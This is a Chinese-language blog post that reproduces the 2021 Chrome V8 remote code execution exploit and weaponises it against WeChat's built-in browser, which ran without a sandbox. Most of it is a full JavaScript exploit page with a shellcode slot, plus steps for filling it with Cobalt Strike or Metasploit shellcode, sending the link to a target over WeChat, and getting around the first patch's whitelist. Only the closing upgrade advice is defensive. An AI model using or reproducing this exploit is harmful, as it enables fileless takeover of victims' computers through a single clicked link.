微信-Chrome远程代码执行
微信-Chrome远程代码执行
前言
2021年04月13日,国外安全研究员发布了Chrome 远程代码执行 0Day的POC详情,后又爆出微信内置浏览器用的就是低版本Chrome内核,且默认关闭沙盒–no-sandbox,正好能够结合Chrome漏洞进行利用,这里借着这个时间来复现一下这个漏洞。
Chrome漏洞复现
国外安全研究员发布了Chrome远程代码执行0Day漏洞的POC详情,漏洞为“严重”级别。攻击者利用此漏洞,构造一个恶意的web页面,用户访问该页面时,会造成远程代码执行。
大量采用Chrome内核的浏览器同样也会受此漏洞影响,如微软的Edge浏览器,影响版本:Chrome: <=89.0.4389.114,可通过在Chrome浏览器中输入chrome://version查看版本等信息。
本地测试版本:89.0.4389.9,这个漏洞利用条件是必须关闭Chrome浏览器沙盒–no-sandbox,默认为开启状态,所以一般用户不会受此漏洞影响。
1 | chrome.exe -no-sandbox |
POC验证(弹计算器):https://github.com/r4j0x00/exploits/tree/master/chrome-0day
1 | var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) |
上边的POC只是单纯验证弹出计算器,如果想要上线到CS/MSF得用下边这个EXP,在CS或MSF中生成一个64位的C Payload(C#则无需替换),然后将里边的shellcode(这里选择CS上线)提取出来并将其中的\
替换为 ,0
放到exploit2.html文件中即可。
CS监听端口(随自己选择)
生成payload
替换payload,将其中的
\
替换为,0
取出替换后的shellcode,放入以下html的shellcode中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88<title>chrome test</title>
<h1>test</h1>
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>-no-sandbox 参数 关闭沙箱,在chrome浏览器打开exploit2.html, CS 上线
关闭该页面会话即断开,建议在上线后执行进程迁移。
微信CS上线复现
微信内置浏览器使用Chrome内核,且默认关闭沙盒–no-sandbox,所以可以直接利用Chrome远程代码执行漏洞,黑客只需要通过微信发送一个特制Web链接,用户一旦点击链接,微信PC Windows版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。
可以访问一下链接来查看微信内置chrome浏览器的版本:
- https://wuchendi.gitee.io/chrome/index.html
- 微信的利用方式与Chrome差不多,就不再详细写具体步骤了,只需要将以下EXP中的第5行shellcode替换为我们CS或MSF生成的32位C# Payload即可。
1 | ENABLE_LOG = true; |
- 然后通过微信将我们的恶意链接发给对方,等待他点击该链接后即可成功得到目标主机会话。
- tips
- 对于微信4.2.1.143版本,这是爆出漏洞后的第一次更新,临时关闭了微信内置浏览器,采取白名单方式进行验证,仅允许*.weixin.qq.com白名单域名通过内置浏览器打开,但是依旧没有开启沙盒,所以我们还可以通过公众号的阅读原文等方式来访问恶意链接上线CS/MSF。
- 对于微信4.2.1.151版本,这是爆出漏洞后的第二次更新,基本上已经完全修复了这个漏洞,升级了微信版本、暂时不用wechatweb.exe做为内置浏览器(不过文件还在,说不定还会用)、删除禁用沙盒–no-sandbox参数等,目前在线升级只能到143,151需要通过官网下载。
修复建议
- 升级Chrome浏览器为最新版本(90.0.4430.72)
- 升级Windows微信为最新版本(3.2.1.151)